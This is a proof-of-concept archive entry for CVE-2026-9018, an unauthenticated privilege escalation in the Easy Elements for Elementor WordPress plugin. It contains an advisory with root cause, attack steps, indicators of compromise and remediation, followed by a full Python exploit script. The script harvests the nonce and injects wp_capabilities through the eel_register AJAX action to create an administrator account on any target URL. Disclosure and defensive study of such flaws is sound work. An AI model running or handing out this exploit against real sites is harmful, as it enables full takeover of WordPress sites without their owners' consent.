PoC Archive PoC Archive
High CVE-2026-9018 patched

Easy Elements for Elementor Unauthenticated Privilege Escalation via `custom_meta` Overwrite (CVE-2026-9018)

by Atomic Edge ([atomicedge.io](https://atomicedge.io)) · 2026-07-05

CVSS 8.8/10
Severity
High
CVE
CVE-2026-9018
Category
web
Affected product
Easy Elements for Elementor – Addons & Website Templates (easy-elements WordPress plugin)
Affected versions
<= 1.4.5 (fixed in 1.4.6)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherAtomic Edge (atomicedge.io)
CVE / AdvisoryCVE-2026-9018
Categoryweb
SeverityHigh
CVSS Score8.8
StatusPoC
Tagswordpress, elementor, easy-elements, privilege-escalation, cwe-269, unauthenticated, ajax, wp-capabilities
RelatedN/A

Affected Target

FieldValue
Software / SystemEasy Elements for Elementor – Addons & Website Templates (easy-elements WordPress plugin)
Versions Affected<= 1.4.5 (fixed in 1.4.6)
Language / PlatformPHP / WordPress (AJAX)
Authentication RequiredNo
Network Access RequiredYes

Summary

The easyel_handle_register() function, exposed via the unauthenticated wp_ajax_nopriv_eel_register AJAX action, passes attacker-controlled custom_meta POST array values directly into update_user_meta() without any key whitelist. Because WordPress stores a user’s role/capabilities in the wp_capabilities user meta key, an unauthenticated attacker can register a new account while simultaneously injecting custom_meta[wp_capabilities][administrator]=1, overwriting the new account’s capabilities to grant full administrator privileges — all in a single unauthenticated request, provided WordPress user registration is enabled and the plugin’s Login/Register widget is publicly reachable.


Vulnerability Details

Root Cause

Improper privilege management (CWE-269): easyel_handle_register() forwards all keys of the custom_meta request parameter to update_user_meta() with no whitelist, allowing sensitive meta keys such as wp_capabilities to be overwritten by the requester.

Attack Vector

  1. Fetch the page containing the plugin’s Login/Register Elementor widget and extract the publicly-visible easy_elements_nonce value from the page DOM.
  2. Send a POST request to /wp-admin/admin-ajax.php with action=eel_register, valid registration fields, and custom_meta[wp_capabilities][administrator]=1.
  3. easyel_handle_register() creates the new user and then calls update_user_meta() with the attacker-supplied custom_meta, overwriting wp_capabilities to mark the new account as an administrator.
  4. Attacker logs in with the newly created credentials as a full WordPress administrator.

Impact

Unauthenticated attacker gains a fully privileged administrator account on any WordPress site with open registration and the vulnerable plugin’s registration widget publicly exposed — equivalent to full site compromise.


Environment / Lab Setup

Target:   WordPress site with "Anyone can register" enabled and the Easy Elements for Elementor
          Login/Register widget publicly accessible, plugin version <= 1.4.5
Attacker: Any HTTP client (poc.py provided, requires `requests`)

Proof of Concept

PoC Script

See CVE-2026-9018.py in this folder.

1
2
3
4
5
6
7
pip install requests

python3 CVE-2026-9018.py -u https://target.com

python3 CVE-2026-9018.py -u https://target.com -U hacker -e h@x.io -p P@ssw0rd!

python3 CVE-2026-9018.py -u https://target.com --nonce-page /login/

The script harvests the easy_elements_nonce from the target’s Login/Register widget, submits a crafted eel_register AJAX request that overwrites wp_capabilities to administrator, and optionally verifies the resulting account can log into wp-admin.


Detection & Indicators of Compromise

Signs of compromise:

  • New user accounts with administrator role that were created via self-registration rather than an existing admin action.
  • admin-ajax.php requests with action=eel_register containing a custom_meta array referencing wp_capabilities, wp_user_level, or session_tokens.

Remediation

ActionDetail
Primary fixUpdate Easy Elements for Elementor to 1.4.6 or later
Interim mitigationDisable public user registration or the plugin’s Login/Register widget until patched; audit for unexpected administrator accounts

References


Notes

Mirrored from https://github.com/xxconi/CVE-2026-9018 on 2026-07-05.

CVE-2026-9018.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
# ==========================================================================
# Atomic Edge CVE Research | https://atomicedge.io
# CVE-2026-9018 - Easy Elements for Elementor <= 1.4.5
# Unauthenticated Privilege Escalation via 'custom_meta' Parameter
#
# LEGAL DISCLAIMER:
# For authorized security testing and educational purposes ONLY.
# Unauthorized use is prohibited and may violate applicable laws.
# You are solely responsible for compliance with applicable laws.
# ==========================================================================

import requests
import argparse
import sys
import re
import json
from urllib.parse import urljoin

BANNER = r"""
╔══════════════════════════════════════════════════════════════╗
║   CVE-2026-9018 | Easy Elements for Elementor <= 1.4.5      ║
║   Unauthenticated Privilege Escalation via custom_meta       ║
║   Atomic Edge CVE Research | atomicedge.io                   ║
╚══════════════════════════════════════════════════════════════╝
"""

AJAX_PATH   = "/wp-admin/admin-ajax.php"
ACTION      = "eel_register"
NONCE_ID    = "easy_elements_nonce"


def fetch_nonce(session: requests.Session, target: str, nonce_page: str, verify_ssl: bool) -> str | None:
    url = urljoin(target, nonce_page)
    print(f"[*] Fetching nonce from: {url}")

    try:
        resp = session.get(url, verify=verify_ssl, timeout=15)
        resp.raise_for_status()
    except requests.exceptions.RequestException as e:
        print(f"[-] Failed to fetch nonce page: {e}")
        return None

    # Match: <input ... id="easy_elements_nonce" ... value="NONCE" ...>
    patterns = [
        r'<input[^>]*id=["\']easy_elements_nonce["\'][^>]*value=["\']([^"\']+)["\']',
        r'<input[^>]*value=["\']([^"\']+)["\'][^>]*id=["\']easy_elements_nonce["\']',
        r'"easy_elements_nonce"\s*:\s*"([^"]+)"',
        r"'easy_elements_nonce'\s*:\s*'([^']+)'",
    ]

    for pattern in patterns:
        match = re.search(pattern, resp.text, re.IGNORECASE)
        if match:
            nonce = match.group(1)
            print(f"[+] Nonce found: {nonce}")
            return nonce

    print("[-] Nonce not found. Ensure the Login/Register widget is present on the target page.")
    print(f"    Try specifying a different page with --nonce-page (e.g., /login/ or /register/)")
    return None


def escalate_privileges(
    session: requests.Session,
    target: str,
    nonce: str,
    username: str,
    email: str,
    password: str,
    verify_ssl: bool,
) -> bool:
    url = urljoin(target, AJAX_PATH)

    # Malicious payload: overwrite wp_capabilities with administrator role
    data = {
        "action":                          ACTION,
        "easy_elements_nonce":             nonce,
        "username":                        username,
        "email":                           email,
        "password":                        password,
        "custom_meta[wp_capabilities][administrator]": "1",
    }

    print(f"\n[*] Sending privilege escalation payload to: {url}")
    print(f"[*] Username : {username}")
    print(f"[*] Email    : {email}")
    print(f"[*] Role     : administrator (via wp_capabilities override)\n")

    try:
        resp = session.post(url, data=data, verify=verify_ssl, timeout=15)
        print(f"[+] HTTP Status : {resp.status_code}")
        print(f"[+] Response    : {resp.text[:400]}\n")

        try:
            decoded = resp.json()
            if decoded.get("success") is True:
                return True
            else:
                print(f"[!] Server returned success=false. Message: {decoded.get('data', 'N/A')}")
                return False
        except json.JSONDecodeError:
            # Non-JSON response — check HTTP status as fallback
            return resp.status_code == 200

    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")
        return False


def verify_admin(target: str, username: str, password: str, verify_ssl: bool) -> None:
    login_url = urljoin(target, "/wp-login.php")
    print(f"[*] Verifying admin access at: {login_url}")

    session = requests.Session()
    data = {
        "log":         username,
        "pwd":         password,
        "wp-submit":   "Log In",
        "redirect_to": "/wp-admin/",
        "testcookie":  "1",
    }

    try:
        resp = session.post(login_url, data=data, verify=verify_ssl,
                            allow_redirects=True, timeout=15)
        if "/wp-admin/" in resp.url or "Dashboard" in resp.text:
            print(f"[✓] Admin login CONFIRMED!\n")
            print(f"    ┌─────────────────────────────────────────┐")
            print(f"    │  WP Admin  : {urljoin(target, '/wp-admin/')}")
            print(f"    │  Username  : {username}")
            print(f"    │  Password  : {password}")
            print(f"    └─────────────────────────────────────────┘")
        else:
            print(f"[-] Login verification inconclusive (HTTP {resp.status_code}).")
            print(f"    Try logging in manually at: {login_url}")
    except requests.exceptions.RequestException as e:
        print(f"[-] Verification request failed: {e}")


def main():
    print(BANNER)

    parser = argparse.ArgumentParser(
        description="CVE-2026-9018 - Easy Elements for Elementor <= 1.4.5 Privilege Escalation PoC"
    )
    parser.add_argument("-u",  "--url",        required=True,
                        help="Target WordPress site URL (e.g. https://example.com)")
    parser.add_argument("-U",  "--username",   default="atomic_admin",
                        help="Username for the new admin account (default: atomic_admin)")
    parser.add_argument("-e",  "--email",      default="admin@atomicedge.io",
                        help="Email for the new admin account")
    parser.add_argument("-p",  "--password",   default="Atomic@Edge2026!",
                        help="Password for the new admin account")
    parser.add_argument("-np", "--nonce-page", default="/",
                        help="Page path containing the Login/Register widget (default: /)")
    parser.add_argument("--no-verify", action="store_true",
                        help="Disable SSL certificate verification")
    parser.add_argument("--skip-verify-login", action="store_true",
                        help="Skip post-exploit admin login verification")
    args = parser.parse_args()

    target     = args.url.rstrip("/")
    verify_ssl = not args.no_verify

    session = requests.Session()
    session.headers.update({
        "User-Agent": "Mozilla/5.0 (compatible; AtomicEdge-Research/1.0)",
    })

    # Step 1: Fetch nonce
    nonce = fetch_nonce(session, target, args.nonce_page, verify_ssl)
    if not nonce:
        sys.exit(1)

    # Step 2: Privilege escalation
    success = escalate_privileges(
        session, target, nonce,
        args.username, args.email, args.password,
        verify_ssl,
    )

    if success:
        print("[✓] Privilege escalation payload accepted!\n")
        if not args.skip_verify_login:
            verify_admin(target, args.username, args.password, verify_ssl)
    else:
        print("[-] Exploit may have failed. Check prerequisites:")
        print("    • User registration must be enabled on the site")
        print("    • Login/Register widget must be published on a page")
        print("    • Try --nonce-page /login/ or /register/")
        sys.exit(1)


if __name__ == "__main__":
    main()